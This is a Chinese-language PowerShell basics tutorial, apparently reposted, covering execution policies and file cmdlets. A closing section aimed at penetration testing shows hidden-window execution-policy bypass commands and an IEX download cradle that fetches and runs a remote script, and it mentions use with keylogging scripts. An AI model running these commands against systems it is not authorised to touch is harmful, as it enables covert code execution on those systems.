powershell 基礎


powershell 基礎

 
Windows powershell是一種命令行外殼程序和腳本環境,它內置在win7以上版本的操作系統中,使命令行用戶和腳本編寫者可以利用.NET Framework的強大功能。powershell程序可以直接在內存中運行,可以作為命令提示符cmd.exe的擴充。
 
查看powershell版本信息
Get-Host 或者 $PSVersionTable.PSVersion
 
基本概念
1. .ps1文件
一個powershell 腳本其實就是一個包含了多個powershell命令的簡單的文本文件,每個命令顯示為獨立的一行。
 
2.執行策略
為防止惡意腳本的運行,powershell 有一個執行策略,默認情況下該執行策略被設置為受限。
在powershell 腳本無法執行時,可以使用下面的cmdlet命令確定當前的執行策略。
Get-ExecutionPolicy
Restricted: 腳本不能運行(默認設置)
RemoteSigned: 本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字簽名的除外)
AllSigned: 僅當腳本由受信任的發布者簽名時才能運行
Unrestricted: 允許所有的script腳本運行
 
通過以下cmdlet可以設置Powershell的執行策略
Set-ExecutionPolicy <policy nmae>
 
3.運行腳本
C:\test\1.ps1
.\2.ps1
 
4.管道
前一個命令的輸出作為后一個命令的輸入
假設需要停止目前所有以“p”開頭的程序
get-process p* | stop-process
 
 
一、基本命令
以文件操作為例
1.新建目錄
New-Item whitecellclub-ItemType Directory
2.新建文件
New-Item light.txt-ItemType File
3.刪除目錄
Remove-Item whitecellclub
4.顯示文件內容
Get-Content test.txt
5.設置文本內容
Set-Content test.txt-Value"Hello World!"
6.追加內容
Add-Content light.txt-Value"i love you"
7.清除內容
Clear-Content test.txt
 
二、執行策略
獲取執行策略
Get-ExecutionPolicy
策略分以下幾種:
Restricted: 腳本不能執行(默認)
RemoteSigned: 本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字證書簽名的除外)。
AllSigned: 僅當腳本由受信任的發布者簽名時才能運行。
Unrestricted: 允許所有的script運行
可以使用如下命令格式設置PowerShell的執行策略
Set-ExecutionPolicy <Policy name>
 
命令行下輸入powershell進入powershell命令行,輸入help查看幫助信息。
 
三、繞過策略來執行腳本
如果要運行PowerShell腳本程序,必須用管理員權限將Restricted策略改成Unrestricted,所以,在滲透時,需要采用一些方法繞過策略來執行腳本
 
1.繞過本地權限執行
上傳xxx.ps1到目標服務器,在CMD環境下,在目標服務器本地執行該腳本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2.本地隱藏繞過權限執行腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1
3.用IEX下載遠程PS1腳本繞過權限執行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
 
以上命令的參數說明:
ExecutionPolicy Bypass : 繞過執行安全策略,這個參數非常重要,在默認情況下,PowerShell的安全策略規定了PowerShell不允許運行命令和文件。通過設置這個參數,可以繞過任意一個安全規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。
WindowStyle Hidden : 隱藏窗口
NoLogo : 啟動不顯示版權標志的PowerShell
NonInteractive (-Nonl) : 非交互模式,Po
werShell不為用戶提供交互的提示
NoProfile (-Nop): PowerShell控制台不加載當前用戶的配置文件
Noexit : 執行后不退出Shell。這在使用鍵盤記錄等腳本時非常重要。
PowerShell腳本在默認情況下無法直接運行,這時就可以使用上述三種方法繞過安全策略,運行PowerShell腳本。
 
 
 
個人博客:www.payload.com.cn


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM